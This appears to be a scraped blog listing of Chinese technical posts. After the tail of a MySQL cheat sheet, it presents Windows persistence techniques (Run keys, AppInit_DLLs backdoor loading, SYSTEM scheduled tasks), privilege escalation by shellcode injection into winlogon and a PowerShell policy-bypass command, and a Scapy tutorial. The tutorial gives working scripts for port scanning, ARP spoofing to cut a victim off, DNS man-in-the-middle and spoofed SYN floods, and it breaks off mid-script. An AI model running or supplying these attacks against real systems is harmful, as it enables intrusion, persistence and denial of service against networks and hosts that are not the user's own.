[循环标签]; loop循环语句 [循环标签:] loop 循环体; if 条件表达式 then leave [循环标签]; end if; end loop; 数据完整性 删除主键语句 alter table 表名 drop primary key; 为已存在的表格添加主键 alter table 表名 add [constraint 主键名] primary key(作为主键的字段名); 删除唯一约束 alter table 表名 drop index 唯一约束名; 删除外键 alter table 表名 drop foreign key 外键名称; 为已经存在的表格添加外键 alter table 表名 add [constraint 外键名] foreign key(外键字段) references 主表表名(主表主键); 创建索引 创建表格时创建索引 create table 表名( ...... [unqiue|fulltext|spatial] index|key [索引名](字段[(长度)][asc|desc])) )engine=存储引擎 default charset=字符集类型; 为已经存在的表格添加索引 1、create [unique|fulltext|spatial] index 索引名 on 表名(字段[(长度)][asc|desc]); 2、alter table 表名 add [unique|fulltext|spatial] index|key 索引名(字段[(长度)][asc|desc]); 删除索引 drop index 索引名 on 表名; 创建视图 create [or replace] view 视图名称[(视图字段名)] as select语句 with [cascaded|local] check option; or replace:如果数据库中已经存在同名视图就替换视图,如果没有就创建新视图 修改视图 alter view 视图名 as 新select语句 with [cascaded|local] check option; 查询视图 查询定义语句:show create view 视图名; 查询所有视图:select * from information_schema.views; 删除视图 drop view 视图名1,视图名2...; 存储过程结构语句 create procedure 存储过程名称(in 参数名1 参数类型,out 参数名2 参数类型,inout 参数名3 参数类型) [存储过程选项] begin 存储过程语句块 end; 查看存储过程的语句 show procedure status like '存储过程名'; show create procedure 存储过程名;查看创建信息 select * from information_schema.routines where routine_type='procedure';查询所有数据库的存储过程 删除存储过程 drop procedure 存储过程名; 修改存储过程\函数语句 alter procedure/function 名称 [函数选项|comment|sql security definer|invoker]; 创建触发器语句 create trigger 触发器名称 before|after insert|update|delete on 表名 for each row begin 触发程序; end; 查询触发器语句 show triggers [like '匹配的触发器名']; show create trigger 触发器名;查询某个触发器的创建信息 select * from information_schema.triggers; 删除语句 drop trigger 触发器名; 开启事务的语句 start transaction; 提交事务的语句 commit; 回滚事务 rollback; autocommit=0;关闭自动提交事务 autocommit=1;开启自动提交事务 事务保存点 savepoint 保存点; 回滚到指定保存点 rollback to savepoint 保存点; 删除保存点 release savepoint 保存点; 游标处理语句 1、声明游标 declare 游标名 cursor for select语句; 2、打开游标 open 游标名; 3、获取数据 fetch 游标名 into 变量1,变量2....; 处理错误的语句 declare continue|exit handler for 错误编号 处理语句; 4、关闭游标 close 游标名; 数据备份 select * into {outfile|dumpfile} '备份文件路径和文件名称' from 需要备份的表格; 数据恢复 load data [low_priority] [local] infile '恢复的文件' [replace|ignore] into table 需要恢复的表格; mysqlimport -u user -p --lock-tables --replace 需要恢复的数据库 恢复的文件 添加读锁 lock tables 表名 read; 添加写锁 lock tables 表名 write; 解除锁 unlock tables; 数据库备份 mysqldump -u user -p [--default-character-set=gbk] {--all-databases|需要备份的数据库名 [表名1 表名2]}>备份文件路径及文件名 数据库恢复 mysql -u user -p 需要恢复的数据名<备份文件路径及文件名 添加用户语句 语句1 create user '用户名'@'主机名' identified by '密码',['用户名'@'主机名' identified by '密码']...; 语句2 grant privileges on 数据库名.表名 to '用户名'@'主机地址' identified by '密码',['用户名'@'主机名' identified by '密码']...;(8.0以后不支持该语句创建新用户) 语句3 insert into user(host,user,password,ssl_cipher,x509_issuer,x509_subject) values('主机地址','用户名',password('密码'),'','',''); 删除用户 drop user '用户名'@'主机地址'; delect from user where user='用户名' and host='主机地址'; 修改用户名 rename user '旧用户名'@'旧主机名' to '新用户名'@'新主机名'; 修改密码 mysqladmin -u 用户名 -h 主机地址 -p password 新密码 update user set password=password('新密码') where user='用户名' and host='主机名'; set password=password('新密码'); 查询用户权限 show grants for '用户名'@'主机名'; 修改用户权限 grant privileges|all privileges on 数据库名.表名 to '用户名'@'主机地址' [with grant option]; 收回权限 revoke privileges|all privileges on 数据库名.表名 from '用户名'@'主机地址' ; 刷新权限 flush privileges;{/collapse-item}{/collapse}
2022年07月20日
107 阅读
0 评论
45 点赞
2022-07-19
【技术分享】Windows 权限维持启动项合集
1.Load注册键HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows\load2.Userinit注册键这里能够使系统启动时自动初始化程序,通常该注册键下面有一个userinit.exe。这个键允许指定用逗号分隔的多个程序,例如“userinit.exe,OSA.exe”(不含引号)。HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Userinit3.Explorer-Run注册键HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RunHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run4.RunServicesOnce注册键RunServicesOnce注册键用来启动服务程序,启动时间在用户登录之前,而且先于其他通过注册键启动的程序。RunServicesOnce注册键的位置是:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnceHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce5.RunServices注册键RunServices注册键指定的程序紧接RunServicesOnce指定的程序之后运行,但两者都在用户登录之前。RunServices的位置是:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ RunServicesHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices6.RunOnce\Setup注册键RunOnce\Setup指定了用户登录之后运行的程序,它的位置是:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup、HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Setup7.RunOnce注册键安装程序通常用RunOnce键自动运行程序,它的位置在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce、HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnceHKEY_LOCAL_MACHINE下面的RunOnce键会在用户登录之后立即运行程序,运行时机在其他Run键指定的程序之前。HKEY_CURRENT_USER下面的RunOnce键在操作系统处理其他Run键以及“启动”文件夹的内容之后运行。如果是XP,你还需要检查一下:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx8.Run注册键Run是自动运行程序最常用的注册键,位置在:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run、HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunHKEY_CURRENT_USER下面的Run键紧接HKEY_LOCAL_MACHINE下面的Run键运行,但两者都在处理“启动”文件夹之前。9.Windows Shell 系统接口位于HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon下面的Shell字符串类型键值中,基默认值为Explorer.exe,当然可能木马程序会在此加入自身并以木马参数的形式调用资源管理器,以达到欺骗用户的目的。10.常用的启动 系统配置文件Windows的配置文件,包括Win.ini、System.ini和wininit.ini文件也会加载一些自动运行的程序Win.ini文件在[windows]段下的“Run=”和“LOAD=”语句后面就可以直接加可执行程序,只要程序名称及路径写在“=”后面即可。System.ini文件默认[boot]段下“shell=”的语句为“shell=Explorer.exe”,启动的时候运行Windows外壳程序explorer.exe,黑客可将该句变成“shell=病毒文件名.exe。11.系统服务位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services,系统服务加载程序,其中netsvcs 是一组服务的集合(通过svchost 用来加载成组服务),不是单个的服务,具体哪些服务在 netsvcs 里,可以在注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost右边的 netsvcs 值里查看,里面的不一定是当前都被加载了的,只是说它们若被加载都划归在 netsvcs 组里,其中哪些服务正运行着,可和服务里的相应服务状态对照着看。12.windows 通过AppInit加载任意dllwindows操作系统允许将用户提供的dll加载到所有的进程的内存空间中。该功能可以用来做后门持久化。有点类似于linux的ld_preload环境变量。在进程启动的时候,操作系统会将用户提供的dll加载。在设置该功能时,需要administrator权限。设置方法为修改注册表中两个选项HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\WindowsHKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\WindowsNT\CurrentVersion\Windows微软默认阻止用户通过appinit功能去加载未知的dll。不过,可以通过修改注册表键值HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Windows\LoadAppInit_DLLs为1去关闭该功能。将待加载的dll保存在Program Files文件夹,并且将AppInit_DLLs键值修改为待加载dll的路径,即可让所有windows进程都加载该dll。这是因为在“ AppInit_DLLs”注册表项中指定的DLL是由user32.dll加载的,几乎所有应用程序都使用该user32.dll。任务计划 (推荐)使用cmd注册任务计划当然也可以用Windows提供的API进行创建schtasks /change /tn "Adobe Acrobat Update Task" /disable //禁用名为Adobe Acrobat Update Task的计划任务 schtasks /change /tn GoogleUpdateTaskMachineCore /disable //禁用名为Adobe Acrobat Update Task的计划任务 schtasks /Change /TN "Adobe Acrobat Update Task" /enable //启用名为Adobe Acrobat Update Task的计划任务 schtasks /create /tn "restart" /ru SYSTEM /sc ONSTART /tr "E:\dataojo\commond\restart.bat" //创建计划任务 schtasks /delete /tn * /f //删除所有计划任务schtasks参数说明SCHTASKS /Create [/S system [/U username [/P [password]]]] [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day] [/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime][/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]] [/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F] 描述: 允许管理员在本地或远程系统上创建计划任务。 参数列表: /S system 指定要连接到的远程系统。如果省略这个系统参数,默认是本地系统。 /U username 指定应在其中执行 SchTasks.exe 的用户上下文。 /P [password] 指定给定用户上下文的密码。如果省略则提示输入。 /RU username 指定任务在其下运行的“运行方式”用户帐户(用户上下文)。 对于系统帐户,有效值是 ""、"NT AUTHORITY\SYSTEM" 或"SYSTEM"。 对于 v2 任务,"NT AUTHORITY\LOCALSERVICE"和 "NT AUTHORITY\NETWORKSERVICE"以及常见的 SID。对这三个也都可用。 /RP [password] 指定“运行方式”用户的密码。要提示输入密码,值必须是 "*" 或无。 系统帐户会忽略该密码。必须和 /RU 或 /XML 开关一起使用。 /RU/XML /SC schedule 指定计划频率。 有效计划任务: MINUTE、 HOURLY、DAILY、WEEKLY、 MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT. /MO modifier 改进计划类型以允许更好地控制计划重复 周期。有效值列于下面“修改者”部分中。 /D days 指定该周内运行任务的日期。有效值: MON、TUE、WED、THU、FRI、SAT、SUN 和对 MONTHLY 计划的 1 - 31 (某月中的日期)。通配符“*”指定所有日期。 /M months 指定一年内的某月。默认是该月的第一天。 有效值: JAN、FEB、MAR、APR、MAY、JUN、 JUL、 AUG、SEP、OCT、NOV 和 DEC。通配符 “*” 指定所有的月。 /I idletime 指定运行一个已计划的 ONIDLE 任务之前 要等待的空闲时间。 有效值范围: 1 到 999 分钟。 /TN taskname 指定唯一识别这个计划任务的名称。 /TR taskrun 指定在这个计划时间运行的程序的路径 和文件名。 例如: C:\windows\system32\calc.exe /ST starttime 指定运行任务的开始时间。 时间格式为 HH:mm (24 小时时间),例如 14:30 表示 2:30 PM。如果未指定 /ST,则默认值为 当前时间。/SC ONCE 必需有此选项。 /RI interval 用分钟指定重复间隔。这不适用于 计划类型: MINUTE、HOURLY、 ONSTART, ONLOGON, ONIDLE, ONEVENT. 有效范围: 1 - 599940 分钟。 如果已指定 /ET 或 /DU,则其默认值为 10 分钟。 /ET endtime 指定运行任务的结束时间。 时间格式为 HH:mm (24 小时时间),例如,14:50 表示 2:50 PM。 这不适用于计划类型: ONSTART、 ONLOGON, ONIDLE, ONEVENT. /DU duration 指定运行任务的持续时间。 时间格式为 HH:mm。这不适用于 /ET 和 计划类型: ONSTART, ONLOGON, ONIDLE, ONEVENT. 对于 /V1 任务,如果已指定 /RI,则持续时间默认值为 1 小时。 /K 在结束时间或持续时间终止任务。 这不适用于计划类型: ONSTART、 ONLOGON, ONIDLE, ONEVENT. 必须指定 /ET 或 /DU。 /SD startdate 指定运行任务的第一个日期。 格式为 yyyy/mm/dd。默认值为 当前日期。这不适用于计划类型: ONCE、 ONSTART, ONLOGON, ONIDLE, ONEVENT. /ED enddate 指定此任务运行的最后一天的日期。 格式是 yyyy/mm/dd。这不适用于计划类型: ONCE、ONSTART、ONLOGON、ONIDLE。 /EC ChannelName 为 OnEvent 触发器指定事件通道。 /IT 仅有在 /RU 用户当前已登录且 作业正在运行时才可以交互式运行任务。 此任务只有在用户已登录的情况下才运行。 /NP 不储存任何密码。任务以给定用户的身份 非交互的方式运行。只有本地资源可用。 /Z 标记在最终运行完任务后删除任务。 /XML xmlfile 从文件的指定任务 XML 中创建任务。 可以组合使用 /RU 和 /RP 开关,或者在任务 XML 已包含 主体时单独使用 /RP。 /V1 创建 Vista 以前的平台可以看见的任务。 不兼容 /XML。 /F 如果指定的任务已经存在,则强制创建 任务并抑制警告。 /RL level 为作业设置运行级别。有效值为 LIMITED 和 HIGHEST。默认值为 LIMITED。 /DELAY delaytime 指定触发触发器后延迟任务运行的 等待时间。时间格式为 mmmm:ss。此选项仅对计划类型 ONSTART, ONLOGON, ONEVENT. /? 显示帮助消息。 描述 允许管理员创建、删除、查询、更改、运行和中止 本地或远程系统上的计划系统。替代 AT.exe。 参数列表 /Create 创建新计划任务。 /Delete 删除计划任务。 /Query 显示所有计划任务。 /Change 更改计划任务属性。 /Run 立即运行计划任务。 /End 中止当前正在运行的计划任务。 /? 显示帮助/用法。注册系统服务终端输入 instsrv ServiceName srvany.exe // 注册服务注册表找到这个 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ServiceName // 注册表找到服务然后在ServiceName 新建Parameters项里面新建 Application 存储的值是要运行的软件路径{cloud title="注册服务工具" type="lz" url="https://wws.lanzouj.com/iz8Ne085kufe" password=""/}
2022年07月19日
193 阅读
0 评论
26 点赞
2022-07-18
【技术分享】Windows 提权方式总结
简介Windows 的用户都能使用 Administrator 用户的管理员权限,也即为最高,但这并非是 Windows 最高权限,高权限而是 System 权限。如果能提升权限到 System 权限就能操作的越多,写游戏辅助的时候也能做到一些反检测,比如:游戏权限低无法检测高权限,有的进程 CE 打开是没有图标的,这个时候可以用 System 权限就能看到进程图标。提权方法:提权的方式有很多种,今天都讲下也算是科普了。Winlogin 提权这种办法可以写 ShellCode 远程线程注入的方式,注入到 Winlogin 进程中,因为它是唯一 拥有 system 权限并且能显示 GUI 的进程,也算是父进程带子进程实现了提权,这里我利用 CE 做演示。[ENABLE] GlobalAlloc(lengfeng, 800) // 分配全局内存分配后始终存在 label(xxx) // 定义一个标签跳到 xxx 里执行代码 lengfeng: push rdi sub rsp,20 mov rdx,5 mov rcx,xxx // 把 xxx内存地址移动到 rcx寄存器 call KERNEL32.WinExec // 调用 WinExec 执行 add Rsp,20 pop rdi ret xxx: db 'c:\windows\system32\cmd.exe', 0 // 这里可以改成你的软件路径 createthread(lengfeng) // 远程创建线程执行lengfeng里的汇编指令 [DISABLE] dealloc(lengfeng) // 释放先前分配的内存Powershell 提权powershell -ep bypass "Install-Module -Name NtObjectManager;start-Win32ChildProcess cmd"这种办法有利也有弊自己发现吧,只要以管理员身份启动 Powershell 运行以上命令,安装后即可提权。默认 y 完成后会弹出一个新的终端,输入 whoami 可以看出是 System 权限。
2022年07月18日
216 阅读
0 评论
53 点赞
2022-07-15
【技术分享】Python3 Scapy 实现网络攻击
简介Scapy 是一个功能强大的 Python 工具,允许用户发送、嗅探、解析和伪造网络数据包。它提供了丰富的网络操作功能,使得构建可探测、扫描或攻击网络的工具变得更加简单。 更多详细内容请参考Scapy的官方文档:Scapy 文档安装库pip install scapy可以通过终端直接调用scapy使用基础使用sr() 发送三层数据包,等待接收一个或者多个数据包的响应 sr1() 发送三层数据包,只会接收一个数据包的响应 srp() 发送二层数据包,然后一直等待回应 srp1() 发送二层发送数据包,只返回第一个答案 send() 只发送三层数据包,系统自动处理路由和两层信息 sendp() 只发送二层数据包 带p字母的都是发送二层数据包,必须要写以太网头部Ether(),而且如果是多接口一定要指定接口 不带p字母都是发送三层数据包,不需要填Ether头部,不需要指定接口常用的协议Ether 以太网协议 ARP ARP协议 IP IP协议 UDP UDP协议 TCP TCP协议 ICMP ICMP协议列出协议字段>>> ls(ARP) hwtype : XShortField = (1) ptype : XShortEnumField = (2048) hwlen : FieldLenField = (None) plen : FieldLenField = (None) op : ShortEnumField = (1) hwsrc : MultipleTypeField = (None) psrc : MultipleTypeField = (None) hwdst : MultipleTypeField = (None) pdst : MultipleTypeField = (None)获取帮助>>> help(send) Help on function send in module scapy.sendrecv: send(x, inter=0, loop=0, count=None, verbose=None, realtime=None, return_packets=False, socket=None, *args, **kargs) Send packets at layer 3 send(packets, [inter=0], [loop=0], [count=None], [verbose=conf.verb], [realtime=None], [return_packets=False], # noqa: E501 [socket=None]) -> None 构建 ICMP 包>>> packet =IP(src='192.168.1.115',dst='192.168.1.1')/ICMP() >>> packet <IP frag=0 proto=icmp src=192.168.1.1 dst=192.168.1.2 |<ICMP |>> 查看数据包信息>>> packet.show() ###[ IP ]### version= 4 ihl= None tos= 0x0 len= None id= 1 flags= frag= 0 ttl= 64 proto= icmp chksum= None src= 192.168.1.115 dst= 192.168.1.1 \options\ ###[ ICMP ]### type= echo-request code= 0 chksum= None id= 0x0 seq= 0x0 开启数据嗅探>>> sniff(filter='tcp',count=5) #捕获5个包 <Sniffed: TCP:5 UDP:0 ICMP:0 Other:0> >>> sniff(stop_filter=lambda x: x.haslayer(TCP)) #检测到TCP则停止 <Sniffed: TCP:1 UDP:0 ICMP:0 Other:0> 查看本地网卡>>> show_interfaces() INFO: Table cropped to fit the terminal (conf.auto_crop_tables==True) Source Index Name MAC IPv4 IPv6 libpcap 1 Software Loopback I_ 00:00:00:00:00:00 127.0.0.1 ::1 libpcap 10 Microsoft Wi-Fi Dir_ 9a:3b:8f:e7:a0:4a 169.254.248.16 fe80::404d:f9d:dd6b:_ libpcap 12 WAN Miniport (IP) libpcap 15 VMware Virtual Ethe_ 00:50:56:c0:00:08 192.168.18.1 fe80::4194:c468:a971_ libpcap 18 WAN Miniport (IPv6) libpcap 2 Microsoft Wi-Fi Dir_ 98:3b:8f:e7:a0:4b 169.254.172.205 fe80::84bd:aa4e:25e9_ libpcap 20 WAN Miniport (Netwo_ libpcap 21 VMware Virtual Ethe_ 00:50:56:c0:00:01 192.168.25.1 fe80::b0e6:8f17:ddb1_ libpcap 4 Intel(R) Wireless-A_ 98:3b:8f:e7:a0:4a 192.168.3.39 fe80::3df7:857b:82ec_ libpcap 5 OrayBoxVPN Virtual _ 00:25:e1:00:10:00 172.16.0.226 libpcap 6 Realtek PCIe GbE Fa_ 04:92:26:14:5d:17 169.254.17.179 fe80::ed09:65ab:81af_IP 头部IPv4 Version 版本号IHL 首部长度Total Length 总长度Identification 标识Flags 标志Fragment Offset 片偏移Time To Live 生存时间Protocol 协议Header Checksum 首部校验和Source Address 源地址Destination Address 目标地址Options 可选字段Padding 填充Data 数据部分IPV6 Version 版本号Traffic class 流量分类Flow Label 流量标签Payload length 负载长度Next Header 下一个头部Hop Limit 跳数Source Address 源地址Destination Address 目标IP地址 TCP协议提供一种面向连接的、可靠的字节流服务。面向连接: 两个使用TCP的应用 通常是一个客户端 和一个服务端在彼此交换数据之前必须建立一个TCP连接,TCP建立连接需要进行三次握手,结束时时需要四次挥手即可断开连接 。TCP六个标志位:URG:表示紧急指针是否有效;ACK:表示确认号是否有效,携带ACK标志的数据报文段为确认报文段;PSH:提示接收端的应用程序应该立即从TCP接受缓冲区中读走数据,为接受后数据腾出空间;RST:表示要求对方重新建立连接,携带RST标志位的TCP报文段称为复位报文段;SYN:表示请求建立一个连接,携带SYN标志的TCP报文段称为同步报文段;FIN:通知对方本端要关闭了,带FIN标志的TCP报文段称为结束报文段;TCP 报文结构version版本号ihl首部长度tos区分服务类型len总长度id标识flags标志frag片偏移ttl生存时间proto协议类型chksum首部校验和src源地址dst目标地址options可选字段UDP 头部Source Port 源端口Destination Port 目的端口Length 包长度Check Sum 校验和Data 数据(1)源端口(Source Port):16位的源端口域包含初始化通信的端口号。源端口和IP地址的作用是标识报文的返回地址。(2)目的端口(Destination Port):6位的目的端口域定义传输的目的。这个端口指明报文接收计算机上的应用程序地址接口。(3)封包长度(Length):UDP头和数据的总长度。(4)校验和(Check Sum):和TCP和校验和一样,不仅对头数据进行校验,还对包的内容进行校验。UDP 报文结构sport源端口dport目标端口len包长度chksum校验和这样可以更清晰地展示每个字段的含义。ICMP 头部ICMP type 类型code 代码checksum 校验和type和code不同时值不同原始ip数据报内容icmp是Internet控制报文协议,它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息,这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。ICMP 报文结构ARP 头部ARP 硬件类型协议类型硬件地址长度协议长度操作类型发送方的硬件地址(0-3字节)源物理地址(4-5字节)源IP地址(0-1字节)源IP地址(2-3字节)目标硬件地址(0-1字节)目标硬件地址(2-5字节)目标IP地址(0-3字节)ARP 报文结构DNS 头部ID: 长度为16位,是一个用户发送查询的时候定义的随机数,当服务器返回结果的时候,返回包的ID与用户发送的一致。QR: 长度1位,值0是请求,1是应答。Opcode: 长度4位,值0是标准查询,1是反向查询,2死服务器状态查询。AA: 长度1位,授权应答(Authoritative Answer) - 这个比特位在应答的时候才有意义,指出给出应答的服务器是查询域名的授权解析服务器。TC: 长度1位,截断(TrunCation) - 用来指出报文比允许的长度还要长,导致被截断。RD: 长度1位,期望递归(Recursion Desired) - 这个比特位被请求设置,应答的时候使用的相同的值返回。如果设置了RD,就建议域名服务器进行递归解析,递归查询的支持是可选的。RA: 长度1位,支持递归(Recursion Available) - 这个比特位在应答中设置或取消,用来代表服务器是否支持递归查询。Z: 长度3位,保留值,值为0.RCode: 长度4位,应答码,类似http的stateCode一样,值0没有错误、1格式错误、2服务器错误、3名字错误、4服务器不支持、DNS 报文结构ARP 单主机扫描from scapy.all import * ip = "192.168.5.4" p = ARP(pdst=ip) ans = sr1(p,timeout=1) if ans != None: ans.display() print(ip,"host is up.") else: print(ip,"host is down.") ARP 多主机扫描from scapy.all import ARP, Ether, srp import ipaddress target_ip = input("请输入目标IP地址/掩码(例如:192.168.1.0/24):") # 解析IP地址/掩码并检查是否有错误 try: network = ipaddress.ip_network(target_ip) except ValueError: print("请输入合法的IP地址/掩码!") else: # 构造ARP请求包 arp = ARP(pdst=target_ip) # 构造以太网数据包 ether = Ether(dst="ff:ff:ff:ff:ff:ff") packet = ether / arp result = srp(packet, timeout=3, verbose=0)[0] # 处理响应数据包 clients = [] for sent, received in result: # 提取响应的MAC和IP地址 clients.append({'ip': received.psrc, 'mac': received.hwsrc}) # 输出扫描结果 print("扫描结果:") print(" IP地址\t\t MAC地址") for client in clients: print("{:<16}{}".format(client['ip'], client['mac']))PING 主机扫描import threading from scapy.all import * ips = [] ip_range = "192.168.1.0-254" ip_list = ip_range.split("-") start_ip = ip_list[0] end_ip = ip_list[1] start_index = int(start_ip.split(".")[-1]) end_index = int(end_ip.split(".")[-1]) ips = [f"{start_ip.rsplit('.', 1)[0]}.{i}" for i in range( start_index, end_index + 1)] def scan(ip): p = IP(dst=ip)/ICMP() ans = sr1(p, iface="Intel(R) Wireless-AC 9560 160MHz", timeout=1) if ans != None: ips.append(ip) threads = [] for ip in ips: t = threading.Thread(target=scan, args=(ip,)) threads.append(t) t.start() for t in threads: t.join() print(ips)SYN 端口扫描from scapy.all import * ip = "192.168.5.4" port = 80 p = IP(dst=ip)/TCP(dport=int(port)) ans = sr1(p,timeout=1,verbose=1) if ans[TCP].flags == 'SA': print(ip,"port",port,"is open.") else: print(ip,"port",port,"is closed.") SYN 多线程端口扫描from scapy.all import * import threading from tqdm import tqdm target_host = input("请输入要扫描的目标主机IP地址 如:(192.168.1.100):") port_range = input("请输入要扫描的端口范围 如:(1-3000):") output_file = input("请输入结果输出文件名 如:(1.txt):") # 解析端口范围 min_port, max_port = map(int, port_range.split("-")) # 设置超时时间 timeout = 1 # 创建锁对象,以便在输出结果时避免竞争条件问题 print_lock = threading.Lock() # 定义写文件函数 def write_result(ip, port): with open(output_file, "a") as f: f.write(f"{ip}:{port}\n") # 定义线程函数 def scan_port(port): # 创建TCP SYN包 packet = IP(dst=target_host)/TCP(dport=port, flags="S") # 发送数据包并获取响应 response_packet = sr1(packet, timeout=timeout, verbose=False) # 解析响应数据包 if response_packet is None: with print_lock: # 使用tqdm库更新进度条 pbar.update(1) elif response_packet.haslayer(TCP) and response_packet.getlayer(TCP).flags == 0x12: # 如果收到SYN-ACK响应,则说明端口开放 with print_lock: # 使用tqdm库更新进度条 pbar.update(1) write_result(target_host, port) else: with print_lock: # 使用tqdm库更新进度条 pbar.update(1) # 创建线程列表 threads = [] # 使用tqdm库创建进度条,总数为需要扫描的端口数量 pbar = tqdm(total=max_port-min_port+1) # 遍历所有需要扫描的端口,并创建一个线程来执行scan_port函数 for port in range(min_port, max_port+1): thread = threading.Thread(target=scan_port, args=(port,)) threads.append(thread) thread.start() # 等待所有线程执行完毕 for thread in threads: thread.join() # 关闭进度条 pbar.close()FIN 端口扫描from scapy.all import * ip = "192.168.5.4" port = 80 p=IP(dst=ip)/TCP(dport=int(port),flags="F") ans=sr1(p,timeout=1,verbose=1) if ans==None: print(ip,"port",port,"is open.") elif ans!=None and ans[TCP].flags=='RA': ans.display() print(ip,"port",port,"is closed.")XMAS 端口扫描XMAS扫描和NULL扫描是FIN扫描的两个变种,XMAS扫描打开FIN URG ACK PSH RST SYN标记并且全部置1。(原理和SYN差不多)from scapy.all import * ip = "192.168.5.4" port = 80 p = IP(dst=ip)/TCP(dport=int(port),flags="FPU") ans = sr1(p,timeout=1,verbose=1) if ans == None: print(ip,"port",port,"is open.") elif ans!=None and ans[TCP].flags=='RA': ans.display() print(ip,"port",port,"is closed.") ICMP 多线程扫描from scapy.all import * import threading import argparse import ipaddress import os import sys # 发送ICMP请求,判断是否存活 def icmp_requset(ip_dst, iface=None): pkt = Ether()/IP(dst=ip_dst) / ICMP(type=8) req = srp1(pkt, timeout=3, verbose=False) if req: print('[+]', ip_dst, ' Host is up') #进行子网的多线程扫描 def icmp_scan(network): threads = [] length = len(network) for ip in network: t = threading.Thread(target=icmp_requset, args=(str(ip),)) threads.append(t) for i in range(length): threads[i].start() for i in range(length): threads[i].join() # 参数选项 def main(): # Windows下注释掉这段 # 判断是否为root if os.getuid() != 0: print('[-]Need root user to run') sys.exit(1) parser = argparse.ArgumentParser() parser.add_argument('network', help='eg:192.168.1.0/24') args = parser.parse_args() network = list(ipaddress.ip_network(args.network)) icmp_scan(network) if __name__ == '__main__': main()流量抓包from scapy.all import * def capture(x): if b'HTTP/' in x.lastlayer().original and x.lastlayer().original[0:4] != b'HTTP': print('dst ip:', x.payload.dst) try: request_body = x.lastlayer().original request_body = request_body.decode('utf-8') except: request_body = str(x.lastlayer().original) if 'allall01.baidupcs.com' in request_body: return if 'netdisk' in request_body: return if 'baidu' in request_body: return print('request body:', request_body) def main(): sniff(filter="tcp", prn=lambda x: capture(x)) if __name__ == '__main__': main()ARP 断网攻击from scapy.all import * import time # pdst是目标IP,psrc是网关的ip p1 = Ether(dst="ff:ff:ff:ff:ff:ff", src="90:A4:07:1B:4A:E9") / \ ARP(pdst="192.168.20.133", psrc="192.168.1.101") while True: sendp(p1) time.sleep(.1)视频效果{dplayer src="https://www.52tt.pro/usr/uploads/2022/07/193850867.mp4"/}ARP 本地防御# 以管理员身份运行cmd netsh i i show in # 列出本地网卡的 IDX 编号 netsh -c i i add neighbors 7 192.168.1.1 00-25-83-01-10-00 # IDX 编号为 7 网关 + 网关MAC地址 回车即可绑定静态MAC地址 netsh -c i i delete neighbors 7 192.168.1.1 # 删除绑定更改为动态DNS 中间人攻击from scapy.all import * wlan2="VMware Virtual Ethernet Adapter for VMnet8" dns_server="192.168.146.130" # win2008已搭好的dns服务器 dnsdst="" def rev(p): global dnsdst try: pip=p[IP] pudp=[UDP] pdns=p[DNS] if p.dport==53 and pip.dst=="192.168.146.2":# 这个包是win7向网关的请求包 dnsdst=pip.src send(IP(src="192.168.146.1",dst=dns_server,ttl=55)/UDP(sport=p[UDP].sport,dport=53)/pdns,iface=wlan2) print("转发查询信息成功",dnsdst) elif p.sport==53 and pip.src==dns_server: #这一个包是搭建的DNS给自己回的包 #print(dnsdst) send(IP(src="192.168.146.2",dst="192.168.146.129",ttl=55)/UDP(sport=53,dport=p[UDP].dport)/pdns,iface=wlan2) print("转发响应信息成功") except : pass print("开始攻击") sniff(iface=wlan2,filter="udp port 53",timeout=300,prn=rev)SYN FLOOD 攻击# 第一版 from scapy.all import * import random def synFlood(): while True: # 构造随机的源IP src='%i.%i.%i.%i'%( random.randint(1,255), random.randint(1, 255), random.randint(1, 255), random.randint(1, 255) ) # 构造随机的端口 sport=random.randint(1024,65535) IPlayer=IP(src=src,dst='192.168.1.104') TCPlayer=TCP(sport=sport,dport=445,flags="S") packet=IPlayer/TCPlayer send(packet) if __name__ == '__main__': synFlood() # 第二版 from scapy.all import * ip = IP(src=RandIP(), dst="192.168.1.104") syn = TCP(sport=RandShort(), dport=445, flags="S", seq=1000) send(ip/syn, inter=0.001, loop=1)SYN FLOOD 完整版from scapy.all import * import random # 生成随机的IP def randomIP(): ip=".".join(map(str,(random.randint(0,255) for i in range(4)))) return ip # 生成随机端口 def randomPort(): port=random.randint(1000,10000) return port # syn-flood def synFlood(count,dstIP,dstPort): total=0 print("Packets are sending ...") for i in range(count): #IPlayer srcIP=randomIP() dstIP=dstIP IPlayer = IP(src=srcIP,dst=dstIP) 